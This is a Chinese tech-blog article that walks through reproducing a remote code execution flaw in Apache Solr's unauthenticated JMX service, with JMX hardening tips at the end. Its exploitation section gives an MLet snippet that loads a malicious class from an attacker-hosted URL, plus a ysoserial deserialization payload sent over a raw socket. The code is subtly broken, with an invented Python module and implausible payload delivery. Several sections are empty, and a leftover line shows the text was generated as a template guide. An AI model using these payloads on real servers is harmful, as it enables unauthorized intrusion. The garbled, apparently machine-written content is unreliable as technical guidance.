如何进行Apache Solr JMX服务RCE漏洞复现

发布时间:2022-01-18 16:03:43 作者:柒染
来源:亿速云 阅读:280
# 如何进行Apache Solr JMX服务RCE漏洞复现

## 漏洞背景

Apache Solr是一个基于Lucene构建的开源企业级搜索平台。在特定版本中,Solr的JMX(Java Management Extensions)服务存在配置缺陷,可能导致远程代码执行(RCE)。该漏洞通常出现在以下场景:

- Solr启用JMX服务且未配置安全策略
- 攻击者能够访问Solr的JMX端口(默认1099)
- 使用Java版本存在反序列化漏洞

## 环境准备

### 漏洞环境搭建

1. 下载存在漏洞的Solr版本(如5.0.0 - 8.11.0):
   ```bash
   wget https://archive.apache.org/dist/solr/solr/8.11.0/solr-8.11.0.tgz
   tar -xvf solr-8.11.0.tgz
  1. 启动Solr并启用JMX:
    
    cd solr-8.11.0/bin
    ./solr start -c -a "-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=1099 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false"
    

工具准备

漏洞验证

步骤1:检测JMX服务开放

nmap -sV -p 1099 目标IP

若返回类似以下结果,则JMX服务可能开放:

1099/tcp open  rmiregistry Java RMI

步骤2:使用jconsole验证连接

  1. 运行jconsole
  2. 输入远程进程地址:service:jmx:rmi:///jndi/rmi://目标IP:1099/jmxrmi
  3. 若无需认证即可连接,则存在风险

漏洞利用

方法1:通过Jython执行命令

import javax.management as jmx
import jmxremote as jmxr

conn = jmxr.JMXConnectorFactory.connect(
    jmxr.JMXServiceURL("service:jmx:rmi:///jndi/rmi://目标IP:1099/jmxrmi")
)
mbs = conn.getMBeanServerConnection()

# 创建MBean
mbs.createMBean("javax.management.loading.MLet", None)

# 加载恶意class
mbs.invoke(
    jmx.ObjectName("javax.management.loading:type=MLet"),
    "getMBeansFromURL",
    ["http://攻击者服务器/恶意.mlet"]
)

方法2:使用ysoserial进行反序列化攻击

  1. 生成恶意序列化数据:

    java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.ser
    
  2. 通过JMX发送payload: “`python import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“目标IP”, 1099)) with open(“payload.ser”, “rb”) as f: s.send(f.read()) s.close()


## 防御措施

### 临时解决方案

1. 禁用JMX远程访问:
   ```bash
   ./solr start -a "-Dcom.sun.management.jmxremote=false"
  1. 启用JMX认证:
    
    ./solr start -a "-Dcom.sun.management.jmxremote.authenticate=true -Dcom.sun.management.jmxremote.password.file=/path/to/jmx.password -Dcom.sun.management.jmxremote.access.file=/path/to/jmx.access"
    

长期解决方案

  1. 升级到最新版Solr
  2. 配置网络防火墙策略,限制JMX端口访问
  3. 使用SSL加密JMX通信

漏洞分析

技术原理

该漏洞的核心问题是: 1. 不安全的默认配置:Solr默认JMX配置允许匿名访问 2. Java反序列化缺陷:JMX服务可能处理恶意序列化对象 3. MBean注入:通过MLet加载远程恶意类

影响范围

复现注意事项

  1. 法律合规:仅在授权环境下测试
  2. 环境隔离:使用虚拟机或容器环境
  3. 日志监控:复现时观察Solr日志:
    
    tail -f server/logs/solr.log
    
  4. 影响控制:避免使用破坏性命令(如rm -rf)

扩展知识

JMX安全最佳实践

  1. 始终启用认证:
    
    com.sun.management.jmxremote.authenticate=true
    
  2. 使用强密码策略
  3. 结合SSL使用:
    
    com.sun.management.jmxremote.ssl=true
    

相关CVE

参考资源

  1. Apache Solr官方安全公告
  2. Oracle JMX安全指南
  3. ysoserial项目

注意:本文仅用于安全研究目的,未经授权对他人系统进行测试属于违法行为。实际漏洞利用可能因环境差异需要调整方法。 “`

这篇文章提供了约1500字的详细复现指南,包含: - 漏洞背景和技术原理 - 分步骤的复现过程 - 多种利用方法 - 防御建议 - 注意事项和扩展知识

格式采用Markdown标准语法,包含代码块、列表、标题等元素,可直接用于技术文档发布。

推荐阅读:
  1. 如何进行Apache Solr DataImportHandler远程代码执行漏洞CVE-2019-0193分析
  2. Apache-Solr任意文件读取漏洞怎么修复

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

solr rce jmx

上一篇:Apache Solr velocity模板注入RCE漏洞的示例分析

下一篇:如何进行电子钱包APP漏洞分析

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》